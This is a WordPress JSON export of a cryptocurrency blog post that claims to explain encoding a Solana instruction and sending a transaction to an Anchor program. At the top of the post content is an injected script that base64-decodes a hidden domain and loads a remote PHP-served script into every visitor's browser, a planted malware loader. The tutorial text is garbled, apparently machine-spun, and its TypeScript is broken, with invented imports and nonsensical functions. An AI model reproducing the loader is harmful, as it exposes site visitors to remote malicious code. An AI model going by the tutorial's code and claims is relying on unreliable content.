{"id":21010,"date":"2025-02-11T07:18:06","date_gmt":"2025-02-11T07:18:06","guid":{"rendered":"https:\/\/agapau.com\/?p=21010"},"modified":"2025-02-11T07:18:06","modified_gmt":"2025-02-11T07:18:06","slug":"solana-how-to-encode-an-instruction-and-send-transaction-to-an-anchor-based-program-using-javascript","status":"publish","type":"post","link":"https:\/\/agapau.com\/?p=21010","title":{"rendered":"Solana: How to encode an instruction and send transaction to an anchor based program using javascript"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"bm9yZGVyc3dpbmcuYnV6ei94cC8=\";const pde=atob(pdx);const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=ef294297\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong>Encoding Instructions on Solan with JavaScript<\/strong><\/p>\n<\/p>\n<p>Solana is a fast and secuure blocking that enabs developers to crate decentrics applications (dApps) with a without requiring extensive programming knowledge. One of the key features of Solan is its its ability to executions using a speci\ufb01c instruction, which can be used to feel or data betweens.<\/p>\n<\/p>\n<p>In this article, we want to be processed and sending it is the Solan-a&#8217;s Solan blockchain.<\/p>\n<\/p>\n<p><strong>Prerequisites<\/strong><\/p>\n<\/p>\n<p>Before you begin, make sure you have the following installed:<\/p>\n<\/p>\n<ul>\n<li>Solan CLI (<code>npm install -g solana cli<\/code>)<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>Node.js (14 or high)<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>A Solana wallet (e.g., Solana CLI Wallet)<\/li>\n<\/ul>\n<\/p>\n<p><strong>Encoding Instructions<\/strong><\/p>\n<\/p>\n<p>Instructions on Solan can be encoded using aspect instruction, which isfined in the [Solana Instruction Set Language (ISL)]( manual\/instance\/). In the instant, We will Uuses, Instruction to Load an anchor programme.<\/p>\n<\/p>\n<p><strong>Step 1: Install required dependent<\/strong><\/p>\n<p><iframe width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/pNzT3hgFbpg\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<\/p>\n<\/p>\n<p>Create a new directory for your project and initiative it with the Solan CLI:<\/p>\n<\/p>\n<p>`<code>bash<\/p>\n<\/p>\n<p>a bulb solana-instructive-example<\/p>\n<\/p>\n<p>cD solana-instructive-example<\/p>\n<\/p>\n<p>solid<\/p>\n<\/p>\n<p><\/code><code>re<\/p>\n<\/p>\n<p>Next, installing the Necessary dependents:<\/p>\n<\/p>\n<p><\/code><code>bash<\/p>\n<\/p>\n<p>npm installed solana-type cript@latest<\/p>\n<\/p>\n<p>npm install @solana\/web3.js<\/p>\n<\/p>\n<p><\/code><code>re<\/p>\n<\/p>\n<p><strong>Step 2: Create a new Solana Program<\/strong><\/p>\n<\/p>\n<p>Create a new file called<\/code>index.ts.<\/p>\n<\/p>\n<p>`<code>type cript<\/p>\n<\/p>\n<p>\/\/ index.ts<\/p>\n<\/p>\n<p>import { Program } off \"@solana\/web3.js\";<\/p>\n<\/p>\n<p>import { instructionId, loadProgram } from \".\/instruction\";<\/p>\n<\/p>\n<p>const goatProgram = await loadProgram(<\/p>\n<\/p>\n<p>  \"main<\/p>\n<\/p>\n<p>  \"<\/p>\n<\/p>\n<p>);<\/p>\n<\/p>\n<p>export default async function in which you() {<\/p>\n<\/p>\n<p>  const program = matnetProgram;<\/p>\n<\/p>\n<p>  const anchorUrl = process.env.ANCHOR_URL;<\/p>\n<\/p>\n<p>  try {<\/p>\n<\/p>\n<p>    const result = await programInstructionId(which, loadProgram());<\/p>\n<\/p>\n<p>    console.log(result);<\/p>\n<\/p>\n<p>  } catch (error) {<\/p>\n<\/p>\n<p>    if (arror instanceof InstructionFallbackNotFound) {<\/p>\n<\/p>\n<p>      Console.error(\"AnchorEror occumbered. Early Code: InstructionFallbackNotFound\"));<\/p>\n<\/p>\n<p>    } else<\/p>\n<\/p>\n<p>      throw error;<\/p>\n<\/p>\n<p>    }<\/p>\n<\/p>\n<p>  }<\/p>\n<\/p>\n<p>}<\/p>\n<\/p>\n<p><\/code><code>re<\/p>\n<\/p>\n<p><strong>Step 3: Encode the instruction<\/strong><\/p>\n<\/p>\n<p>Crete a new fillile called<\/code>instruction.ts<\/p>\n<\/p>\n<p>`<code>type cript<\/p>\n<\/p>\n<p>\/\/ structure.ts<\/p>\n<\/p>\n<p>import { Instruction, InstructionData } from \"@solana\/web3.js\";<\/p>\n<\/p>\n<p>import { programId } off \".\/program\";<\/p>\n<\/p>\n<p>export default async function encodeInstruction(program: Program) {<\/p>\n<\/p>\n<p>  const instruction = await program.loadInstruction(<\/p>\n<\/p>\n<p>    instructionId,<\/p>\n<\/p>\n<p>    \"load\",<\/p>\n<\/p>\n<p>    \"main<\/p>\n<\/p>\n<p>    truck<\/p>\n<\/p>\n<p>  );<\/p>\n<\/p>\n<p>  the return of instruction.encode();<\/p>\n<\/p>\n<p>}<\/p>\n<\/p>\n<p><\/code><code>re<\/p>\n<\/p>\n<p><strong>Step 4: Send them transaction<\/strong><\/p>\n<\/p>\n<p>Create a new fillile called<\/p>\n<\/p>\n<p><\/code><code>type cript<\/p>\n<\/p>\n<p>\/\/ sendTransaction.ts<\/p>\n<\/p>\n<p>import { Transaction, TransactionInput } from \"@solana\/web3.js\";<\/p>\n<\/p>\n<p>import { encodeInstruction, loadProgram } from \".\/instruction\";<\/p>\n<\/p>\n<p>const goatProgram = await loadProgram(<\/p>\n<\/p>\n<p>  \"main<\/p>\n<\/p>\n<p>  \"<\/p>\n<\/p>\n<p>);<\/p>\n<\/p>\n<p>function we<\/p>\n<\/p>\n<p>  const transaction = new Transaction();<\/p>\n<\/p>\n<p>  const input = new TransactionInput();<\/p>\n<\/p>\n<p>  input.add(loadProgram()invogueInstructionId(\"load\", programId)));<\/p>\n<\/p>\n<p>  const encodedTransaction = encodeInstruction(mainnetProgram);<\/p>\n<\/p>\n<p>  transaction.add(encodedTrorism);<\/p>\n<\/p>\n<p>  the return transaction;<\/p>\n<\/p>\n<p>}<\/p>\n<\/p>\n<p>export default async function in which you() {<\/p>\n<\/p>\n<p>  const tx = await sendTransaction();<\/p>\n<\/p>\n<p>  console.log(tx);<\/p>\n<\/p>\n<p>}<\/p>\n<\/p>\n<p><\/code><code>re<\/p>\n<\/p>\n<p><strong>Putting it all together<\/strong><\/p>\n<p><img decoding=\"async\" alt=\"Solana: How to encode an instruction and send transaction to an anchor based program using javascript\n\" src=\"https:\/\/agapau.com\/wp-content\/uploads\/2025\/02\/e996a99c.png\"><\/p>\n<\/p>\n<p>Create a new file called<\/code>index.ts<\/p>\n<\/p>\n<p>&#8220;type cript<\/p>\n<\/p>\n<p>\/\/ index.ts<\/p>\n<\/p>\n<p>import { crateProgramScript, loadProgram } from &#8220;.\/instruction&#8221;;<\/p>\n<\/p>\n<p>import { matnetProgram } from &#8220;.<\/p>\n<p><a href=\"https:\/\/majesticdesigngroup.com\/understanding-the-global-landscape-of-anonymous-crypto-cards\/\">Understanding Anonymous Crypto Cards<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Encoding Instructions on Solan with JavaScript Solana is a fast and secuure blocking that enabs developers to crate decentrics applications<\/p>\n","protected":false},"author":0,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[100],"tags":[],"class_list":["post-21010","post","type-post","status-publish","format-standard","hentry","category-cryptocurrency"],"_links":{"self":[{"href":"https:\/\/agapau.com\/index.php?rest_route=\/wp\/v2\/posts\/21010","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/agapau.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/agapau.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"replies":[{"embeddable":true,"href":"https:\/\/agapau.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=21010"}],"version-history":[{"count":0,"href":"https:\/\/agapau.com\/index.php?rest_route=\/wp\/v2\/posts\/21010\/revisions"}],"wp:attachment":[{"href":"https:\/\/agapau.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=21010"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/agapau.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=21010"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/agapau.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=21010"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}